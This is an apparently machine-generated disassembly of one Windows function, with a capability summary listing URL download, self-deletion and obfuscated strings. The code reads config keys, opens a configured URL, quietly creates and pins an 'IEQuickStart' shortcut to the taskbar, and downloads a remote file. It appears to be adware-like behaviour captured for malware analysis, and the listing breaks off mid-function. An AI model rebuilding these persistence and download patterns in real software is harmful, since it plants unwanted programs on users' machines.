Function at 0x44f530
Capabilities:
Check http status code
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Download url
Inspect section memory permissions
Parse pe header
Query environment variable
Receive data
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x564150
mov eax, dword fs:[0]
push eax
sub esp, 0x6dc
mov eax, dword [0x5b0514]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 0x42c], eax
mov esi, dword [0x5ba980]
mov ecx, esi
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x6d8], eax
mov dword [esi + 0x62c], 0x80
call fcn.00445e50
push str.m_UserKey
lea ecx, [ebp - 0x494]
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], ebx
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 1
call fcn.00406750
sub esp, 0x18
mov byte [ebp - 4], 2
mov edi, esp
mov dword [ebp - 0x44c], esp
lea eax, [ebp - 0x6a1]
mov dword [ebp - 0x430], edi
mov ecx, edi
lea ebx, [esi + 0x508]
push eax
push dword [ebp - 0x6d8]
call fcn.00402940
push ebx
mov ecx, edi
mov byte [ebp - 4], 3
call fcn.00402960
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.0045a5d0
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 5
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 6
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 7
call fcn.00407270
push str.m_UseCount
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 8
call fcn.00406750
mov byte [ebp - 4], 9
push str.Config
lea ecx, [ebp - 0x4f8]
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0xa
mov ebx, dword [esi + 0x5f8]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0xb
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0xc
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xd
call fcn.00407270
push str.m_Session
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0xe
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0xf
call fcn.00406750
sub esp, 0x18
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x44c], esp
lea eax, [ebp - 0x6a1]
mov dword [ebp - 0x430], edi
mov ecx, edi
lea ebx, [esi + 0x520]
push eax
push dword [ebp - 0x6d8]
call fcn.00402940
push ebx
mov ecx, edi
mov byte [ebp - 4], 0x11
call fcn.00402960
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x12
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov byte [ebp - 4], 0x10
mov ecx, eax
call fcn.0045a5d0
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x13
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x14
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x15
call fcn.00407270
push str.m_SafeSoft
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x16
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x17
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x18
mov ebx, dword [esi + 0x5fc]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x19
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x1a
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x1b
call fcn.00407270
push str.m_LastError
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x1c
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x1d
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x1e
mov ebx, dword [esi + 0x600]
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
mov ecx, 0x5ba9b8
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x1f
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x20
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x21
call fcn.00407270
push str.m_SkinID
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x22
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x23
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x24
mov ebx, dword [esi + 0x608]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x25
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x26
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x27
call fcn.00407270
push str.m_UseMFC
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x28
call fcn.00406750
mov byte [ebp - 4], 0x29
push str.Config
lea ecx, [ebp - 0x4f8]
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x2a
mov ebx, dword [esi + 0x610]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x2b
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x2c
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x2d
call fcn.00407270
push str.m_StepNumber
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x2e
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x2f
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x30
mov ebx, dword [esi + 0x62c]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x31
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x32
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x33
call fcn.00407270
push str.m_DownloadState
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x34
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x35
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x36
mov ebx, dword [esi + 0x630]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x37
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x38
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x39
call fcn.00407270
push str.m_CloseCode
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x3a
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x3b
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x3c
mov ebx, dword [esi + 0x9fc]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x3d
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x3e
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x3f
call fcn.00407270
mov ecx, esi
mov dword [ebp - 4], 0xffffffff
call fcn.0044a0a0
test eax, eax
jne 0x44fd34
mov eax, dword [esi + 0x9fc]
cmp eax, 0x64
je 0x454144
cmp eax, 0x12c
je 0x454144
mov ecx, esi
call fcn.004494c0
push 0
push str.openurl
push str.Config
lea eax, [ebp - 0x5d8]
mov ecx, esi
push eax
call fcn.0043bdc0
mov dword [ebp - 4], pe_nt_image_headers32
cmp dword [ebp - 0x5c8], 0
je 0x44fd8d
cmp dword [ebp - 0x5c4], 8
lea eax, [ebp - 0x5d8]
push 1
cmovae eax, dword [ebp - 0x5d8]
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
mov ecx, esi
call fcn.0044d0b0
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x450e39
push str.taskidstr
lea ecx, [ebp - 0x570]
call fcn.00406750
push str.Navigation
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x41
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x42
call fcn.00406750
lea eax, [ebp - 0x528]
mov byte [ebp - 4], 0x43
push eax
lea eax, [ebp - 0x570]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00403d30
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x46
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x48
call fcn.00407270
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x4a
call fcn.00407270
mov byte [ebp - 4], 0x49
lea eax, [ebp - 0x528]
cmp dword [ebp - 0x514], 0x10
lea ecx, [ebp - 0x47c]
cmovae eax, dword [ebp - 0x528]
push eax
call fcn.00406750
push str.Show
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x4b
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0x4c
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x4d
call fcn.00406750
push 1
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 0x4e
push eax
lea eax, [ebp - 0x510]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4b0]
push eax
lea eax, [ebp - 0x448]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4b0]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x49
call fcn.00407270
push 0
push str.silent
push 0
mov ecx, esi
call fcn.0044d810
test eax, eax
je 0x4501fe
push str.checked
lea ecx, [ebp - 0x448]
call fcn.00406750
push str.Navigation
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x4f
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x50
call fcn.00406750
push 1
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0x51
push eax
lea eax, [ebp - 0x510]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x49
call fcn.00407270
push str.selected
lea ecx, [ebp - 0x448]
call fcn.00406750
push str.Navigation
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x52
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x53
call fcn.00406750
push 1
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0x54
push eax
lea eax, [ebp - 0x510]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x49
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00406750
mov byte [ebp - 4], 0x55
push str.Checked
lea ecx, [ebp - 0x448]
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x56
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x57
call fcn.00406750
push 1
lea eax, [ebp - 0x4b0]
mov byte [ebp - 4], 0x58
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0x49
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x59
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x5a
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x5b
call fcn.00406750
push 0
lea eax, [ebp - 0x4b0]
mov byte [ebp - 4], 0x5c
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0x49
call fcn.00407270
push 1
push str.Status
mov ecx, esi
call fcn.0043b1e0
test eax, eax
jne 0x450d63
mov eax, dword [esi + 0x9fc]
cmp eax, 0xc8
je 0x45022c
cmp eax, 0x190
jne 0x450d63
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00406750
push str.Checked
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x5d
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x5e
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x5f
call fcn.00406750
lea eax, [ebp - 0x4b0]
mov byte [ebp - 4], 0x60
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404790
lea ecx, [ebp - 0x47c]
mov bl, al
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0x49
call fcn.00407270
test bl, bl
je 0x450458
push 4
push str.General
mov ecx, esi
call fcn.0043b1e0
test eax, eax
je 0x450458
lea eax, [ebp - 0x5c0]
mov ecx, esi
push eax
push 0
push 0
call fcn.0044adb0
lea eax, [ebp - 0x5c0]
push eax
mov eax, dword [esi + 0xac8]
call eax
lea ecx, [ebp - 0x528]
test eax, eax
jne 0x450393
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00406750
push str.Checked
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x61
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x62
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x63
call fcn.00406750
mov byte [ebp - 4], 0x64
jmp 0x4503e4
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x65
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x66
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x67
call fcn.00406750
mov byte [ebp - 4], 0x68
push 1
lea eax, [ebp - 0x4b0]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0x49
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00406750
push str.Checked
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x69
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x6a
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x6b
call fcn.00406750
lea eax, [ebp - 0x4b0]
mov byte [ebp - 4], 0x6c
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404790
lea ecx, [ebp - 0x47c]
mov bl, al
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0x49
call fcn.00407270
test bl, bl
je 0x450e2a
push str.Navigation
lea ecx, [ebp - 0x510]
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x6d
call fcn.00406750
lea eax, [ebp - 0x510]
mov byte [ebp - 4], 0x6e
push eax
lea eax, [ebp - 0x47c]
mov ecx, 0x5ba9b8
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004025c0
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x71
call fcn.00407270
push str.taskidstr
lea ecx, [ebp - 0x4f8]
call fcn.00406750
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0x72
push eax
lea eax, [ebp - 0x4f8]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00403d30
lea ecx, [ebp - 0x4f8]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.004052f0
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0x75
push eax
push 0x58bc94
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsIEXPLORE.EXE
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00417280
add esp, 8
mov ecx, esi
push 0xa
push str.Option
call fcn.0043b1e0
mov ebx, dword [sym.imp.SHLWAPI.dll_wnsprintfW]
test eax, eax
je 0x450804
lea ecx, [ebp - 0x510]
call fcn.004052f0
lea edx, [ebp - 0x510]
mov byte [ebp - 4], 0x76
mov ecx, 0x10
call fcn.00417420
lea edx, [ebp - 0x42c]
mov dword [ebp - 0x430], 0
lea ecx, [ebp - 0x430]
mov dword [ebp - 0x42c], 0
call fcn.00416e60
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.005219d0
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x103
push eax
push str.APPDATA
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
cmp dword [ebp - 0x430], 6
jae 0x4506ac
push str.MicrosoftInternet_ExplorerQuick_Launch
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x58f760
lea ecx, [ebp - 0x47c]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0x77
push eax
lea eax, [ebp - 0x47c]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
push 0
push 0x58bc94
mov ecx, eax
mov byte [ebp - 4], 0x78
call fcn.0040f960
push eax
push 0
lea ecx, [ebp - 0x448]
call fcn.0040f960
push eax
push str.IEQuickStart
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x448]
call fcn.0040f960
push eax
mov ecx, esi
call fcn.004560b0
lea ecx, [ebp - 0x6bc]
mov edi, eax
call fcn.00407320
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x76
call fcn.00407270
test edi, edi
je 0x4507ef
cmp dword [ebp - 0x430], 6
jbe 0x450792
push 0x208
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.005219d0
add esp, 0xc
lea eax, [ebp - 0x218]
push str.IEQuickStart
push eax
push str._s_s.lnk
lea eax, [ebp - 0x420]
push 0x104
push eax
call ebx
add esp, 0x14
lea ecx, [ebp - 0x420]
call fcn.00417ec0
jmp 0x4507ef
jne 0x4507ef
cmp dword [ebp - 0x42c], 1
jb 0x4507ef
push 0x208
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.005219d0
add esp, 0xc
lea eax, [ebp - 0x218]
push str.IEQuickStart
push eax
push str._s_s.lnk
lea eax, [ebp - 0x420]
push 0x104
push eax
call ebx
add esp, 0x14
lea eax, [ebp - 0x420]
push 0
push 0
push 0
push eax
push str.taskbarpin
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x75
call fcn.00407320
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
push 0
push 0x590678
push 0
mov ecx, esi
call fcn.0044e730
test eax, eax
je 0x450bec
lea eax, [ebp - 0x448]
push eax
lea ecx, [ebp - 0x570]
call fcn.00402a30
push str.logourl
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x79
call fcn.00406750
lea eax, [ebp - 0x4f8]
mov byte [ebp - 4], 0x7a
mov ebx, 1
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x428], ebx
call fcn.00437e40
cmp al, bl
jne 0x450928
push str.logourl
lea ecx, [ebp - 0x510]
call fcn.00406750
lea eax, [ebp - 0x510]
mov dword [ebp - 4], 0x7b
mov ebx, 3
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437f60
test al, al
jne 0x450928
push str.logourl
lea ecx, [ebp - 0x47c]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov dword [ebp - 4], 0x7c
push eax
lea eax, [ebp - 0x47c]
mov dword [ebp - 0x428], 7
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov dword [ebp - 4], 0x7d
mov ebx, 0xf
mov ecx, eax
mov dword [ebp - 0x428], ebx
call fcn.0040f960
mov ecx, eax
call fcn.00416ce0
test eax, eax
je 0x450928
lea ecx, [esi + 0x580]
call fcn.0040f960
push eax
call edi
mov byte [ebp - 0x6a1], 1
test eax, eax
jne 0x45092f
mov byte [ebp - 0x6a1], 0
test bl, 8
je 0x450942
lea ecx, [ebp - 0x6bc]
and ebx, 0xfffffff7
call fcn.00407320
test bl, 4
je 0x450955
lea ecx, [ebp - 0x47c]
and ebx, 0xfffffffb
call fcn.00407270
test bl, 2
je 0x450968
lea ecx, [ebp - 0x510]
and ebx, 0xfffffffd
call fcn.00407270
mov dword [ebp - 4], 0x79
lea ecx, [ebp - 0x4f8]
and ebx, 0xfffffffe
mov dword [ebp - 0x424], ebx
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
je 0x450aaf
lea ecx, [ebp - 0x570]
call fcn.0042f500
push 0x208
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.005219d0
add esp, 0xc
lea ecx, [ebp - 0x47c]
push 0x590678
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0x7e
push eax
lea eax, [ebp - 0x47c]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ecx, eax
call fcn.0040f960
push eax
lea ecx, [esi + 0x580]
call fcn.0040f960
push eax
push str._s_s.ico
lea eax, [ebp - 0x420]
push 0x104
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
lea ecx, [ebp - 0x6bc]
call fcn.00407320
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x79
call fcn.00407270
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x570]
call fcn.004108a0
push str.logourl
lea ecx, [ebp - 0x510]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0x7f
push eax
lea eax, [ebp - 0x510]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
push 0
push 0
lea ecx, [ebp - 0x570]
mov edi, eax
call fcn.0040f960
push eax
mov ecx, edi
call fcn.0040f960
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea ecx, [ebp - 0x6bc]
call fcn.00407320
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x79
call fcn.00407270
lea ecx, [ebp - 0x570]
call fcn.0040f960
push eax
